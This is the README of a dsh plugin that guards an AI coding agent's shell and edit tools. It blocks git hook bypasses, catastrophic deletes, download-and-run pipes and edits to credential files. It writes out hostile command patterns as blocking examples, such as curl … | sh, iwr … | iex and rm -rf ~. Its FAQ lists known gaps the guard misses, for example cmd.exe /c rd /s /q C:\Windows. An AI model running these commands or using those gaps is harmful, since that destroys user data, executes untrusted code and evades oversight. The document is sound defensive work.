Skip to content

dsh-danger-guard

Verified

@jayyuen66/dsh-danger-guard · v0.1.1 · MIT · Web UI

dsh 插件:危险命令物理拦截(git --no-verify / rm -rf / curl|sh / dev server)+ 首次编辑事实强制门(gateguard 移植,ECC MIT)

Install

dsh plugin add @jayyuen66/dsh-danger-guard

Confirm the layer applied with dsh --profile default --dump-config — see the install guide.

Source

Creators

Readme

@jayyuen66/dsh-danger-guard

中文

What it does

  • A pre-execution tool guard with exactly one hook: a synchronous predicate on ctx.tools.guard (host.ts); returning a string physically rejects that call.
  • The host hands the reason back to the model as that tool call's error result, so the model gets "why it was blocked + what to change instead" rather than a silent failure.
  • Three defences:
    • Dangerous bash/pwsh commands (bashDanger in lib/danger-rules.ts - git hook bypass, catastrophic rm, download-and-run, long-running dev server).
    • Secret/credential paths on edit/write tools (secretPathDeny).
    • The first-edit fact gate (state machine in lib/fact-gate.ts plus the evidence verdict in host.ts).
  • One branch asks for confirmation instead of declaring danger (rule key nestedShellUnconfirmed): it hits when the -c body of a nested shell cannot be extracted reliably (unbalanced quotes) or the nesting goes past the drill-down limit (16 levels for -c/eval bodies, 16 for $( ) substitutions).
    • The text sent back says "paste this to the user and run it only after they explicitly confirm", because it is neither "confirmed dangerous" nor "confirmed safe".

Install

dsh plugin --profile web add @jayyuen66/dsh-danger-guard
  • The packages are on the public npm registry, so installation needs no credentials.
  • No registry line is needed any more: the public npm registry is the default. To remove: dsh plugin --profile web remove @jayyuen66/dsh-danger-guard.
  • Requires host dsh >= 0.2.1-alpha.1: the source of truth is the @deepseek-ai/dsh entry under peerDependencies (the host checks it on plugin install from 0.1.7-rc; alpha.1 has no such gate yet, so this documents rather than enforces). engines.dsh carries the same value but nothing reads it.
  • Requires Node.js >= 22.12. This is an ESM-only package: use import { apply } from "@jayyuen66/dsh-danger-guard" or require("@jayyuen66/dsh-danger-guard"). That Node floor is what makes require() of an ESM entry work at all, which is why engines.node is declared; on anything older the require form fails.
  • The published artifact holds host.js / settings.js / client.js / cordis.patch.yml, the types/ declaration tree, THIRD_PARTY_NOTICES.md, both READMEs, LICENSE and icon.svg. Build artifacts are not committed; prepack rebuilds them, so what ships is always what the current source produces.
  • TypeScript declarations ship (types/host.d.ts, types/settings-host.d.ts, plus the lib/ declarations they reference). The root and the ./settings subpath each carry a types condition, so tsc resolves them under node16/bundler. ./client and ./cordis.patch.yml deliberately have none: the first is a browser UMD shell (window is not defined if you import it in Node), the second is read by the host loader as a file.
  • Four runtime dependencies, all under dependencies: @deepseek-ai/schemastery (the host's fork, 3.18.5-alpha.1), @jayyuen66/dsh-plugin-shared (^0.1.2), @deepseek-ai/dsh-brand (0.2.1-alpha.1) and zod (^4.6.5).
    • zod is imported for value by lib/tool-ledger.ts (its stateSchema), @deepseek-ai/dsh-brand by host.ts (brandNumber).
    • The brand package is the exception to "every @deepseek-ai/* service surface is type-only": phantom brands have no type-only way to be built, so this family of value imports must live in dependencies - the externalization list in build-host.mjs reads only dependencies ∪ peerDependencies, and a devDependencies entry lets rolldown inline the official function body into the artifact, giving each package its own copy of the official constructor.
    • test/build-host.test.ts pins both bare specifiers in host.js (from "zod", from "@deepseek-ai/dsh-brand") together with the absence of the official function bodies; the settings half never imports brand, and the same test asserts the reverse for settings.js. This is also why the artifacts are not minified: minification removes the bare-specifier strings, which would turn those assertions permanently green and let an inlined copy ship undetected.
  • MIT, source at git+https://github.com/JayYuen666/dsh-danger-guard.git.
  • The fact gate and the command rules are ported in mechanism from ECC (MIT, © Affaan Mustafa) — THIRD_PARTY_NOTICES.md records the upstream files, what differs in this package, and the item-by-item comparison showing no upstream code, word list or message text was copied.

Enabling it in dsh

  • Bundle form: dsh.bundle.patch in package.json points at cordis.patch.yml, and dsh plugin add/remove maintains the assembly layer.
    • The package carries two lines (bulkhead): - id: danger-guard (guard half, no Config, name points at the package root) and - id: danger-guard-settings (settings half, strict schema, name points at the ./settings subpath export).
    • Only the first line brings up the card: the host scans dsh.client on bare package-name entries only (exactPackageSpecifier in dsh-client-modules returns undefined for a subpath), so the settings line's subpath name is deliberate.
    • The card loads on the web platform only (dsh.client = { platform: "web", immediately: true }), as "danger-guard danger block" in the settings plugin list.
  • Deployment defaults sit on the settings row's config: (- id: danger-guard-settings): precedence is settings card runtime value > row config > BUILTIN_BASE.
    • An explicit undefined in the row does not override the base, and illegal numbers (e.g. maxDenies: 0) fall back to the built-in default - 0 would switch the fact gate off entirely.
    • Defaults belong on the - id: danger-guard-settings row: the guard half takes no config argument at all (apply(ctx) in host.ts), so a config: on the - id: danger-guard row is inert by design.
  • Failures go the conservative way: the settings surface lives on its own entry, danger-guard-settings, and only that entry carries the strict schema.
    • An out-of-range value (maxDenies: 0, strictMode: "yes") fails that entry alone; the guard entry has no Config, so when it cannot read the value surface it falls back to BUILTIN_BASE and warns once - one mistyped line of configuration cannot switch the gate off.
    • apply only throws when the settings surface is missing: no effect, or a settings service without describe, raises required services (settings/effect) missing and that entry goes FAILED (the host-side service probe checks exactly those two).
    • ⚠ A missing tools service does not throw: svc.tools?.guard(...) yields no registration handle and the mount is skipped (optional chain plus the dispose === undefined branch in host.ts, pinned by test/host.test.ts); apply has no guard for it.
    • That is still not a silent pass in a real deployment: tools is in inject, so cordis never activates the entry without it, and the startup diagnostic prints warning: N entry did not activate with pending (waiting for service: tools). What you see is "no gate mounted, and the host says so".

Settings (namespace danger-guard-settings = the settings entry id; defaults are BUILTIN_BASE in lib/settings-schema.ts)

Field Type Default Purpose
enabled boolean true Master switch; false silences all three verdicts (lesson reports included)
factGateEnabled boolean true Turns off only the first-edit fact gate; danger commands and secret paths still block
judgeStats boolean true Samples each verdict's duration and input size: a rolling summary line every 200 verdicts, plus one judge-cost pass per verdict when lesson-loop is installed (face / ms / character count only). Off = no visibility, every verdict identical
maxDenies natural, 1–5 2 Consecutive non-converging denials per target before the quota releases it with a warning
strictMode boolean false true ignores the risk tiers and runs the full probe on the first edit of every code file
smallEditChars natural, >=1 (card 1–2000) 200 A write of at most this many chars without signature keywords is small: only read is required
bigEditChars natural, >=2 (card 2–100000) 2000 A write above this size is a rewrite and escalates to the full probe
extraTestDirs string[] [] Appends test-layer directory names (built-in test/tests/__tests__/spec/specs); append-only
extraDevServerWords string[] [] Appends long-running command heads (built-in vite/webpack/next/nuxt/cargo-watch/watchexec); append-only
extraDevRunArgs string[] [] Appends run script names (built-in dev/watch/serve/start/start:dev); append-only
extraSecretPatterns string[] [] Appends secret path regex fragments (one per line on the card; invalid ones skipped with a warning); append-only, no allowlist
refSearchTools string[] ["grep","glob","zg_search"] Which search tools count as reference evidence; clearing it means none count
refSearchStrictTools string[] ["zg_search"] The subset of the above judged by the strict "root + query/fts/vector relative path" criterion; a name listed only here gets no credential

How blocking and exemptions are decided

Shared mechanics of the four command rules Content
Scope and splitting Only tool names bash and pwsh are judged (a non-string command passes, no guessing); the command is split at ;, &&, ||, |, newline, &, (, ), backtick and each segment judged, with no splitting inside quotes. Splitting, word lexing, the structure view and the unclosed-quote check are four projections of one POSIX state machine (lib/command-segments.ts): the machine that judges quote closure and the machine that splits words must not be two different ones, or the same string gets opposite verdicts in different predicates
Wrapper words, bin prefixes, quotes, continuations None of these are escape hatches: wrapper words (sudo env time nice stdbuf timeout taskset watch setsid doas pkexec noglob nohup exec command xargs parallel and leading VAR=x), bin path prefixes (/bin/rm - and the wrapper itself is matched by basename, so /usr/bin/sudo is no escape either), quoting and backslash line continuations. A quoted flag or quoted command word is a working spelling, not an escape: measured on real git 2.54, git commit "--no-verify" skips the hook and commits, and "rm" -rf ~, rm "-rf" ~, \git all judge like the unquoted form. Since a per-tool option table can never be complete, a wrapper-led segment also treats every following word position as a candidate command head (sudo -p xrm rm -rf / is closed that way, verified against real sudo)
Principle and its one exception "When unsure, let it through" - with one exception: an execution face you cannot see. A nested -c/eval body that cannot be extracted reliably, nesting past the drill-down limit (one 16-level cap for -c/eval bodies, another for $( ) substitutions - the first holds down "how many bodies get extracted", the second "levels x text re-scanned per level", since a length cap only bounds a single scan), a segment head that is a non-shell interpreter running a code string (python3 -c, node -e, perl -e, ruby -e, php -r, osascript -c… - what that language does is invisible at the command-lexer level), or a command past the judgable length limit all become nestedShellUnconfirmed; the way out is explicit user confirmation, or rewriting it as one plain, quote-balanced layer
The four command rules and secret path edits Blocks Passes / way out
Git hook bypass --no-verify and its unambiguous abbreviations (--no-v…) on commit/push/merge/cherry-pick/rebase/am, the short -n on commit/am, and git -c core.hooksPath= / git config core.hooksPath <dir> (with --global and the = form too). Git arguments are walked by role: short clusters are expanded letter by letter (real git: the n inside -an/-na does bypass the hook), a value-taking option's argument is never a flag (git commit -m --no-verify is a commit message - measured: the hook still runs, so it now passes), everything after -- is a pathspec, and -c's value is what gets checked for core.hooksPath= (a commit message merely containing that text is no longer a false block) git push -n (dry-run), git cherry-pick -n (no-commit), git rebase -n (--no-stat), git config --get/--unset/--list core.hooksPath, git status --no-verify, and that text appearing inside a commit message
Catastrophic rm The threshold is per command-word track, never unconditional: on the POSIX/cmd track recursive+force is required, the one exception being an upper-case -R inside a short cluster, which is already disaster-level on its own (rm -r ~ passes, rm -R ~ denies); on the Remove-Item/ri track any Recurse form alone against a disaster target is disaster-level, no -Force required (-Recurse ≡ -recurse ≡ -rec ≡ -r ≡ -R - parameter names are case-insensitive, so those are one parameter, not four spellings. The two tracks differ because Remove-Item -Recurse ~ silently deletes the whole tree without -Force, while rm -r ~ prompts on each protected entry without -f). Short-flag clusters are scanned letter-by-letter with no closed alphabet (-rf, -drf, -RWx, -srf all judge the same); long flags --recursive --force; cmd builtins additionally /s /q /f; Remove-Item/ri switch faces - only on those two command words a -letter… word is read as a parameter name (-Recurse/-Force and their unambiguous abbreviations -rec/-fo/-r) and never as a cluster, while the parameter-name face still runs on top of the cluster scan on rm and the cmd builtins because the cluster scan is case-sensitive and sees only an r inside -Force) and a target of /, ~ or ~/…, the literal home path (<home>, from os.homedir(), i.e. the HOME env var), $HOME and every ${HOME…} form, ./../../…, whole trees under system and user directory prefixes (/etc, /usr, /bin and friends; full list in SYSTEM_PATH_PREFIXES), absolute globs (/*, /usr/**), with the path lexically normalized first (/tmp/../ judges as /). The command-word side covers pwsh/cmd (Remove-Item/ri/del/erase/rd/rmdir, matched lower-cased, backslash path prefixes stripped too). Each track reads its own form of a word (the POSIX predicate the resolved value, the Windows glyph track the source text), and flags are separated from targets: after -- everything is a target, a pwsh -Exclude/-Include/-Filter value is a pattern rather than a delete operand while -Path/-LiteralPath values stay targets, and -Recurse:$false/-Recurse:0 is a switch held open, not recursion. The bare-variable home rule has a tail gate ($HOME_BACKUP/$HOMEBACKUP pass, matching the ${HOMEBACKUP} ruling), and rm -rf ~\ is denied because real bash expands that to the home directory; Windows targets (drive root C:\, system and user trees C:\Windows·D:\Users\x, UNC share root \\server\share (a verbatim-path prefix \\?\C:\Windows and a trailing component dot \\server\share\. are folded back to the tree they name before comparing; the \\.\ device root is deliberately not folded), the Windows glyph of the home directory (it compares against winHome, i.e. the host's own os.homedir() after glyph folding: when home itself is a drive-letter path the tree and its children judge the same; a POSIX-glyph home makes this form inapplicable, so <posix home>\x is only caught when it happens to sit under a listed system prefix such as macOS /Users/…), ~\notes.txt (a home child written with tilde + backslash - the **Windows** reading only: pwsh takes ~ for the home dir everywhere and \ as a separator; ~\ and ~\\notes.txt judge the same, while a word character right after the tilde (~xyz, ~mailbox\notes.txt) is not home - the same tail gate the $HOME rule uses)) - **that track** only joins when the **host is win32** or the **tool is pwsh** (the dialect comes from tool identity, never guessed from the string shape); the two unexpanded env forms sit **outside** the track: system root %SystemRoot%\System32, $env:windir and user root %USERPROFILE%\Documents, $env:USERPROFILE are literal unexpanded checks, same shape as the $HOME rule - the environment is never read and they never drop out with the track/platform (a non-Windows host under the bash tool still denies them), variable name must be followed by a separator or end of word Relative cleanup inside the project (rm -rf node_modules, ./dist, src/old, rd /s /q build), on the POSIX/cmd track force-only (rm -f ~) or lower-case recursion-only (rm -r ~, rm --recursive ~) - that slot is keyed by the spelling, not by the semantics: the same "recursion only" written as rm -R ~ or rm -Recurse <home> is denied by the pre-existing case-sensitive upper-case -R rule, and "force only" written as rm -Force <home> is denied because the cluster scan supplies the r while the parameter-name face supplies the f (the deliberate false-positive side of pwsh long words on the POSIX track); on the cmdlet track the threshold is likewise conditional on a disaster target: a spelling with no Recurse form at all passes, and so does a Recurse form aimed at a non-disaster path (Remove-Item -Recurse ./build passes) (Remove-Item -Force <file under home> and Remove-Item -Filter *.log <tree> still pass, while -Recurse/-recurse/-rec/-r/-R against a disaster target deny with no -Force at all), Remove-Item -rf C:\Users\bob (-rf is not a parameter name, pwsh itself errors on it; the twin rm -Force -LiteralPath <file under home> on pwsh is still denied - the command word is rm, so the permissive POSIX cluster decides, and a false positive is the cheaper side), /var and /tmp (deliberately excluded - blocking them costs more than missing them), a different segment such as /usrx, and on a non-Windows host C:\Windows / \\home\bob under the bash tool name (those are literal relative paths there, so the POSIX reading decides), together with ~\notes.txt under that same reading (bash never expands this tilde - \n is an escape, so the word is the relative file ~notes.txt, measured with printf '%s\n' ~\notes.txt on this machine - passing is the correct verdict, not a hole)
Download-and-run A shell interpreter after curl|wget|fetch blocks, including | sudo sh, | /bin/bash, | xargs -I{} sh {}, | parallel sh, and the reversed sh <(curl …), source <(curl …), . <(curl …); $( ) inside double quotes is an execution face too (measured: echo "$(seq 3 | tail -1)" prints 3) ⇒ echo "$(curl x | sh)" and FOO=$(curl x | sh) are denied; on the fetch side the PowerShell cmdlets Invoke-WebRequest/Invoke-RestMethod and their aliases iwr/irm count as well, and the receiving end includes pwsh/powershell/iex/Invoke-Expression (all case-insensitive) ⇒ iwr -useb https://x | iex and curl -s https://x | pwsh judge like curl … | sh curl -O, curl … | jq .name, cat x | grep foo, ls | sh with nothing downloaded, source ./setup.sh
Long-running dev server Bare vite/next/nuxt, webpack serve|--watch, cargo watch, npm|pnpm|yarn|bun run dev|watch|serve|start|start:dev and any script name rooted in dev (dev:web, dev-server, dev:build), and npx|bunx|exec|dlx <long-running package> (a version selector does not create a new identity: npx vite@5 dev is denied); vite build --watch still blocks; the one-shot exemption is read only in subcommand position - in vite --host build the word build sits in --host's value slot, and vite 8.3.1 measured on this machine starts the long-running dev server, so it is denied The one-shot forms npm test, npm run build, vite build, next build, webpack --config prod.js, cargo run/check/test, vitest run, npm exec vite -- build, and the confirmed one-shot subcommands vite optimize/next lint/nuxt prepare (still denied alongside a watch flag)
Secret path edits Any file inside .ssh/.gnupg/.aws/.kube/.docker also in relative form (.ssh/config, .aws/credentials, .kube/config, .docker/config.json), the target lexically normalized first (.git/x/../config is .git/config) and resolved against the session cwd when the host supplies one, the id_rsa|id_ed25519|id_ecdsa stems (with .pub and ._- copy suffixes), names ending .pem|.key|.p12|.pfx|.keystore|.jks, the whole .env family, .envrc|.npmrc|.pypirc|.netrc|.pgpass|.git-credentials, credentials.json/service-account*.json/token.json, secret(s).yaml|yml|json and .git/config; backslashed Windows paths (<home>\.ssh\id_rsa) judge the same Deliberate passes: .env.example/.sample/.template/.defaults, api.key.ts, main.pem.tsx, .gitignore, mysecrets.yaml, secrets.yaml.bak, myid_rsa
Secret path tool surface Targets are recognised by key shape: any of file_path/filePath/path/notebook_path/target_path present in the arguments counts (judged in key order after dedup, and the matching one is the report signature) - not by tool name, because tool names drift with the provider and version (renames, aliases and swaps happen on the host side), so gating on a name is a silent-off switch by construction Read-only verbs are skipped (command/action/mode equal to view/read/cat/list/search/fetch/get); calls with no path key (bash carries command only) never enter this face. The fact gate deliberately does not widen with it: it still demands the strict edit/write/str_replace_editor names, so a read-only tool is never told to read first
The fact gate, the quota and false-positive routes Content
The fact gate's scope and tiers Judges only edit/write/str_replace_editor calls that carry a target path, tiered by write risk
low Requires a successful read of the target
mid Adds one project-level reference probe (origin must be an ancestor of the target, signature containing the target name or a stem of at least 4 chars; the strict criterion may also match on the relative path)
high Adds one attributable search per existing test/e2e/docs layer (absent layers are exempted by fs probing)
Escalation to high Creating a file (write/create), touching export/signature keywords, a risky path (manifest, lockfile, build config, assembly file, schema.sql), a write above bigEditChars, or a write size that cannot be measured; strictMode is always high
Skip rules and evidence standard md/markdown/txt/rst/adoc skip the gate entirely and test/ no longer does; only successful calls in the session count as evidence (errors and calls the gate itself rejected do not); when the session history is unavailable the gate asks the user instead and does not consume the quota; a genuinely new file (ENOENT and a creatable call) is exempt from the read requirement; the mtime baseline is established at two points - read time (the guard also bookkeeps read/view calls) and edit evaluation - so an external change landing between the read and the first edit evaluation is still flagged as "changed outside this session" (residual window: the gap between bookkeeping and the read actually executing - conservative direction, the cost is one extra demanded re-read)
Quota release and how long it stands After maxDenies consecutive denials whose gap set did not strictly shrink (a strictly smaller set resets the counter), the next call is released outright with a console.warn; that release stands for the target until it is changed outside the session, the session shard is LRU-evicted (64 sessions × 200 files) or the plugin reloads
Three routes for a false positive There is no allowlist setting anywhere in this package, so a false positive has exactly three routes: temporarily turn enabled off (or only factGateEnabled) via the card or the row's config:; take the maxDenies quota release; or rewrite the command as the denial text suggests (one-shot build, project-relative cleanup, one quote-balanced layer) and have long-running servers started by the user in their own terminal

Public surface

Surface Content
Host extension points Consumes ctx.tools.guard (the only interception surface, inject: ["tools", "settings"]), the guard entry deliberately carries no Config — the settings surface lives in a separate profile entry, danger-guard-settings (inject: ["settings"], exporting Config; under 0.1.7 the host registers it implicitly and its namespace is that entry id, and this package calls no registration API), so one broken user-layer config line only FAILs the settings entry while the gate keeps blocking. Across namespaces it reads only the official locale row's preference via settings.describe() (it decides the language of the text sent back to the model; Chinese when that entry is not projected), and subscribes to session/disposed to release fact-gate shards. There is also an optional child injection, ctx.inject(["sessionProjections"], …), which registers the danger-guard.toolLedger unit and mounts the stateOf() reader inside the guard; without that registry the callback never activates and the verdicts keep using the fallback scan - which is exactly why it is deliberately kept out of the plugin-level inject, since that would stop the gate from activating on profiles that do not ship the projection package
What it does not add, and the optional bus It registers no tools, exposes no HTTP endpoint and adds no CLI subcommand. Optionally consumes report / pass from ctx.get("lessonLoop"): source: "danger-guard", three categories dangerous-bash / secret-path / factgate-deny, signatures being the matched command text, bash-nested-shell-unconfirmed and edit-before-factgate
Exports and card A missing bus, a throwing one or a rejected Promise never affects blocking - only a warning is logged. . → the guard entry (host.ts in-repo, host.js when published), ./settings → the settings entry (settings-host.ts / settings.js), ./client → client.js, ./cordis.patch.yml, ./package.json. The card injects into slot plugins.bundle.config keyed by the bundle package name @jayyuen66/dsh-danger-guard (the slot is keyed by package name: the host dispatches entryKey: pkg.name, source of truth is dsh.profile.bundles in ~/.dsh/profiles/web/package.json; a bare entry id renders no card at all), while configForms.get() and the settings namespace stay the bulkhead's settings entry id danger-guard-settings — the two identifiers are not the same thing. Bundled with React externalized into a module-loader entry; edits stay in a draft until Save writes them to settings, and on a read-only scope (a non-loopback page) the controls are disabled with a read-only status shown

Data and privacy

Privacy aspect Content
Nothing is written, nothing is fetched The verdict chain does no fs writes, no network calls and no subprocess spawning; the only output surfaces are console.* warnings and the text sent back to the model
What it reads The tool ledger from the session event history - primary path: the danger-guard.toolLedger unit registered on ctx.sessionProjections, read synchronously via stateOf() inside the guard; when that registry is absent, or the ledger cannot be vouched for, it falls back to a full session.snapshotEvents(0) scan with byte-identical verdicts (the three fallback triggers: the ledger passing LEDGER_WINDOW, 2000 rows, an event.seq jump meaning the fold did not start at the log head, and a stored state whose shape does not parse). Plus statSync of the target and of layer directories (existence, mtime, project-root markers); one whole-file readFileSync of the target when a change from outside the session is suspected (content self-proof); the home directory comes from os.homedir(), i.e. the HOME env var only
What it keeps Entirely in process memory (fact-gate shards of 64 sessions × 200 files, verdict ledgers LRU-capped at 200 entries), gone when the host exits, with no file left under <dsh data dir>
The only two things that leave, both switchable With lesson-loop installed the report payload carries cwd, session id, the matched command text or the target path plus the denial text, and two operational fields: judgeMs (how long this verdict took, with judgeLength in characters on the bash face) and resolvedPath on a secret-path hit (the target's realpath form - a new local path leaving the box, same nature and same origin as the target path itself). Each verdict additionally emits one judge-cost pass whose payload is three numbers only - face, milliseconds, character count (never a command text or a path). Those fields fall under judgeStats: switch it off and nothing more leaves, while the local rolling summary line keeps logging (enabled: false stops the reports too); settings values are persisted by the host under the danger-guard-settings namespace (the settings entry id, not the guard entry's)

FAQ

Question Answer
It blocked a legitimate command? The three extra* lists and refSearchTools can only tighten and there is no allowlist, so the only routes are: turn enabled off temporarily, take the maxDenies quota release, or rewrite the command as the denial text says
The fact gate keeps refusing? It credits only actions that succeeded: point the search origin at an ancestor such as the project root as the message says (searching the file itself or a sibling counts as "wrong scope"); if another search plugin is in play, add its tool name to refSearchTools (an empty list is called out explicitly in the message); when evidence is unreachable, take the quota release or turn factGateEnabled off temporarily
How do I check it is live? The card row appearing in settings, and dsh --profile web --dump-config showing this package's layer with - id: danger-guard, mean it is mounted; the host must be >= 0.2.1-alpha.1. Known boundaries are recorded by class, and each class pins its current verdict in a test: (1) cmd as a segment head - cmd.exe /c rd /s /q C:\Windows, cmd /c … (without .exe) and the path-prefixed C:\Windows\System32\cmd.exe /c … still escape: cmd is in neither the delete command-word table nor the drill-down list, and its quoting rules (%VAR%, ^ continuations, & that does not split segments) are far enough from POSIX that reading its /c body with the POSIX lexer would open a fresh set of false blocks to pin one by one. The PowerShell family is closed instead: the -c/-Command body of pwsh/powershell (.exe suffix and any capitalization included, /c and /command too) is extracted with join semantics and judged segment by segment, with the Windows glyph track forced on inside that body - a segment head is evidence of who executes it, same discipline as "dialect comes from the tool identity". -File/-EncodedCommand without a code flag means the thing to run is by design not in the input, so it becomes a confirmation request. The ambiguous -e abbreviation (EncodedCommand on pwsh, ExecutionPolicy on Windows PowerShell) is deliberately not treated as opaque, or powershell -ex bypass -Command "…" would be dragged into confirmation as well. (The privilege/time/re-execution wrappers - sudo/env/time/timeout/nice/watch/xargs/parallel, path-prefixed spellings included - are now closed via wrapper skipping plus candidate-head scanning. ); (2) the scoped-package form is not guessed - npx @scope/pkg/npx @vue/cli-service serve cannot be recognized as long-running because a scoped package name usually differs from the binary it provides, and guessing it would add false verdicts (a version selector is handled); (3) one windows dialect value stands for both cmd and PowerShell - their quoting, variable, escape and alias rules differ (%VAR% vs $env:VAR, backtick vs backslash), so the shared track only promises "what should be blocked is blocked", not identical verdicts per shell family; (4) the edit face touches the filesystem only through realpath - the host resolves each declared target (deepest existing ancestor plus the remaining segments) and judges that form alongside the declared one, so "the directory itself is a symlink" and "the credential file is a symlink" are both covered, while an unresolvable target falls back to the declared form (losing only the symlink face). TOCTOU is narrowed, not closed: the target can still be swapped between realpath and the actual write, and closing that needs atomic replace or fd-level checks on the writer side - host/OS layer, outside this package. lib still imports no node:fs: resolution stays in the host and the predicate stays pure; (5) user-supplied secret patterns are the configurator's own risk - catastrophic backtracking cannot be detected statically, so load-time checking rejects only "does not compile" and "too long", naming each pattern it dropped, while the predicate additionally bounds input length (command and path) and confirms rather than passes when past it, exactly as the two execution-face depth caps do (NESTED_SHELL_MAX_DEPTH on nested -c/eval bodies, REGION_MAX_DEPTH on $( ) substitutions - a length cap bounds one scan, not levels x text re-scanned per level; without the second one a 10k-level substitution measured as a stack overflow thrown inside the guard chain); (6) non-shell code strings always ask - even python3 -c "print(1)" needs confirmation, which is the price of "cannot see it ⇒ do not silently pass" (list and verdict live in CODE_EVAL_FLAGS, pinned by tests); (7) the MSYS/Cygwin mount form - on a real Windows host rm -rf /c/Windows/System32 and /C:/Windows are not detected, because mapping /c back to a drive letter needs a mount table, i.e. a new dependency plus a new design call, recorded under "explicitly not doing" in the roadmap. Also: (8) dry-run modifiers never reach the predicate (the over-block side of the status quo) - Remove-Item -WhatIf -Recurse ~ is denied, because -WhatIf/-Confirm only make pwsh print what it would do and the guard does not read them, so a dry run judges exactly like a real delete; closing it needs a policy call on whether a dry run is its own exempt class (-WhatIf can also collide with an ambiguous -w), so the current verdict is pinned by a test instead; (9) the drive-letter-less root-relative Windows form - now closed - \Users\bob\notes.txt is now denied whenever the Windows track joins (a pwsh dialect call site, or a win32 host) and still passes under the POSIX reading, because bash consumes the \U as an escape so that string really names a relative file (Users…); denying it there would be a false block. The fix never guesses a drive letter: it folds only the "single leading \ = root of the current drive" shape into a tree-name list that is **strictly the same family as** the system and user trees (windows/programdata/program files/users), so the ^[a-z]: premise stays intact and relative deletes like \etc or \usr are still never pushed into the 24 POSIX system prefixes (the original reasoning - "guessing necessarily over-blocks" - remains true, which is why the \etc contrast still lives in the "Windows glyph normalization must not rewrite POSIX predicate inputs" group). Closed in the same stroke: a POSIX-shaped home followed by a backslash descendant (/data/bob\.ssh) counts as inside the home while the track joins; (10) **a bare ~user (no trailing /) is deliberately not denied** - on a real bash rm -rf ~root expands to /var/root (measured on this machine) while ~bob/~backup stay literal because no such account exists, so the verdict depends on this host's password table, and the predicate neither touches fs nor looks users up (doing that would be a new dependency plus a new design call, same family as (3)); denying the bare form would mis-block relative paths that start with ~. The **separated form ~user/… is denied** (rm -rf ~bob/x, ~root/.ssh judge like $HOME, and the dialect never relaxes it) since once expanded it always lands inside somebody's home tree; and the dialect has two tool-name entry points, bash and pwsh (a future cmd tool needs a line in that mapping, dialect is never inferred from the glyphs), plus one head-level entry: drilling into the body of a pwsh/powershell segment head forces the Windows track for that body; and a nested -c body keeps the caller's dialect

The same discipline carries a known over-block (boundary 6b): when no such account exists bash leaves the word literal, so rm -rf ~bob/x really is a relative path starting with ~ (this machine has no bob/backup/dev) - the guard errs toward denying, exactly like the quoted "$HOME" family, which also never expands yet is still denied.